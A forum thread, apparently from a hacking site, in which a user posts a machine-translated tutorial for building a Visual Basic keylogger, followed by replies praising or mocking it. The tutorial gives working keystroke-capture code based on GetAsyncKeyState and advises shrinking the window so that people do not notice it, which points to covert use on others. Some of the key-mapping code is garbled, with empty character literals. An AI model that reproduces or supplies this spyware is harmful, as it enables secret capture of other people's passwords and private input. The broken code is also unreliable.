[Skid]

Hi everyone.

I'm gonna tell u how you can make a Keylogger with VB 2010.
You need this things out of you're toolbox:
1x Timer ("timer1" | enabled = true | interval = 1)
1x textbox

Select the object, and then you need to look in the menu "Properties".
To look at the codes/To find the codes you need click 2x (dubbleclick) on the bar where 'form1' stands.

what you should do next is to get information from a dll file called user32

This is done through the top of your code, the code below to put
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


We also have a variable needs to hold down the retrieved keys to which are then
migrate to txtkeys
this variable to do with this code: dim result As Integer

Now you're code will look like:

Code

Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
End Class

Now we see what keys are pressed. Do this by going back to the design of your form and now by double clicking on Timer1
now you see that a piece of code in your old code has come.

Enter here:

Code

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
If Chr(i) = "(" Then
txtkeys.Text = txtkeys.Text & "[Arrow Down]"
ElseIf Chr(i) = "%" Then
txtkeys.Text = txtkeys.Text & "[Arrow Left]"
ElseIf Chr(i) = "'" Then
txtkeys.Text = txtkeys.Text & "[Arrow Right]"
ElseIf Chr(i) = "&" Then
txtkeys.Text = txtkeys.Text & "[Arrow up]"
ElseIf Chr(i) = "
" Then
txtkeys.Text = txtkeys.Text & "[mouse click left]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[mouse click right]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[backspace]"
ElseIf Chr(i) = "." Then
txtkeys.Text = txtkeys.Text & "[delete]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[shift]"
ElseIf Chr(i) = " " Then
txtkeys.Text = txtkeys.Text & "[tab]"
ElseIf Chr(i) = "¾" Then
txtkeys.Text = txtkeys.Text & "."
ElseIf Chr(i) = "¼" Then
txtkeys.Text = txtkeys.Text & ","
ElseIf Chr(i) = "¿" Then
txtkeys.Text = txtkeys.Text & "/"
Else
txtkeys.Text = txtkeys.Text & Chr(i)
End If
End If
Next i

order. exe file of your keylogger to get your project to save and then compile and then go to the release directory

Here's how this
file-> save all (please choose a location where you want to save the program manages)
do now compiling
Build -> Build (here the name of your program manages)
Now go to where you've saved your program manages
go to
(the name of your programatje) -> (the name of your program manages) -> bin -> Release
Here is your program manages all ready all you need is just the exe file the rest is not necessary now that you can copy and prog blackberry pad test

You can form your best one as small as possible then people can not accidentally come or that they got to do this. go to the desinger and take the form of an edge and pull you who just have to format how you want it just as a normal program manages!


WARNING! I'm dutch, so i translated this from dutch -> English with Google Translater.


Have Fun with ur Keylogger!
Click here so i can earn some $$$: http://adf.ly/1ADNf

[0xE9]

Wow, nice keyboard hook lmao, jk

[Skid]

This Tutorial is translated by Google Translater!

[yamachitov]

Very good tut!

thank you man!

[Deceptive]

Very good, very good indeed. I can copy and paste threads too, or post something that has been posted 13587901x before.

[1337Montana]

GetAsyncKeyState doesn't work For me,
but i already have a keylogger and it is working fine ;D
I used Hooks etc ...

[JKE]

I didn't get the exe file, just a .vshost, why?

[rapidguide]

i m sure this keylogger does not working in w7 😝

[AnonymousSeeker]

Nice tut I like it. Simply and easy :)

[AmrAhmed]

This program look pretty good <3 Nice One pretty clean!

[M3RCUR1U5]

nice tut ! thanks for this it helped me a lot :D